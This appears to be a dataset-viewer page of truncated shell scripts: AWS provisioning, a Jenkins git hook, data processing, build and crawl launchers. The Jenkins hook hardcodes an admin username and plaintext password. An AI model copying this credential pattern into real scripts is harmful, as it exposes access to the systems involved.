7a8b515a9460f19a7fe4c5ce446dc79b8a593b93 | 577 | #!/bin/bash
knife ec2 server create -I ami-1c5dd974 --bootstrap-version 11.16.4 --security-group-ids sg-46c73923 --subnet subnet-72d9a05a --associate-public-ip --ssh-key gio-keypair -f m3.large --ssh-user root --identity-file ~/VLG/gio/AWS\ Keypairs/gio-keypair.pem -N usvaopnsprd01 --fqdn usvaopnsprd01.inf.videologygr... |
741fff440084ad4937d2b43b04e685e028e7b5ab | 732 | #!/bin/bash
set +x
set -e
. .colors.sh
BASEDIR=$PWD
. $BASEDIR/io.sh 1 13 2 "$@"
CURDIR=`pwd`
## INPUTS VARIABLES
input_nc=${INPUTS1}
## PARAMETERS VARIABLES
dataset_type=${PARAMS1}
index=${PARAMS2}
distribution=${PARAMS3}
scales=${PARAMS4}
sim_start_year=${PARAMS5}
sim_end_year=${PARAMS6}
calib_start_year=${PARAMS7... |
88c512c1feb48b0bbc3e927d789c3c70016f744e | 10,649 | #!/bin/bash
REPOS="$1"
THE_APP_NAME=`git diff -n 1 --name-only HEAD@{1} HEAD | head -n 1 | perl -lne 'print $1 if /([^\/]*)/i;'`
JENKINS_URL=http://localhost:8080/jenkins
JENKINS_CLI=/usr/local/tomcat/webapps/jenkins/WEB-INF/jenkins-cli.jar
JENKINS_USER=admin
JENKINS_PW=wolips
MYSQL=/usr/local/mysql/bin/mysql
MYSQL_US... |
d53e2cae2e230b59743d82a3c10a8fc2474dde1a | 167 | #!/bin/bash
set -e
set -x
git clone https://github.com/swagger-api/swagger-ui
rm -rf static/apidoc
mv swagger-ui/dist static/apidoc
rm -rf swagger-ui
|
e5d38cfbf7657a0bf57f15ebe90eed46df7918d9 | 94 | #!/bin/sh
gcc -o barbershop2 barbershop2.c -lpthread
gcc -o postoffice postoffice.c -lpthread
|
48abf4dd1a079b21f229ffcb9c052f5fc2b6f8fb | 234 | #!/bin/sh
#
# ---------------------------------------------------------------------
# PyCharm startup script.
# ---------------------------------------------------------------------
scrapy crawl yingjiesheng && scrapy crawl nwpujob
|
4a913e028c5271cbd7c6d6e9e517d9fec4d5f9b3 | 2,631 | #!/bin/bash
# Create new folder where you will keep all processed data
mkdir processed
cd processing_scripts
# Process mpqa data
python3 process_mpqa.py
# Process darmstadt data
cd ..
unzip DarmstadtServiceReviewCorpus.zip
cd DarmstadtServiceReviewCorpus
unzip services
unzip universities
grep -rl "&" universities/b... |
f43668c9a6976031ba90f56aa7ef0e7967eb8867 | 581 | #!/bin/bash
# Assumes position of streaming directory
# Rest can be customised by changing variables below
source /home/ubuntu/run.sh
echo "This application expects apache spark, hdfs and hive metastore to be running on the cluster"
sleep 1
datasetStreamDirectory=/user/ubuntu/cs-838/part-b/workload/dataset-stream/
spa... |
62c2459d2382a0c437df33454d0b0892a849c2ba | 158 | #!/bin/bash
if [ -n "$PS1" ]; then
# shellcheck disable=SC1090
source ~/local/etc/liquidprompt
fi
export PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
|
d5fc41938b3ba6b569125e5045c5d38cb04058b0 | 334 | #!/usr/bin/env bash
ROOT_DIR=$(pwd)
echo "ROOT_DIR=${ROOT_DIR}"
for EXTENSION_DIR in ops/*
do
if [ -d "${EXTENSION_DIR}" ] ; then
echo ${EXTENSION_DIR}
cd ${EXTENSION_DIR}
if [ -d "build" ]; then
rm -r build
fi
python setup.py build_ext --inplace
fi
cd ${... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.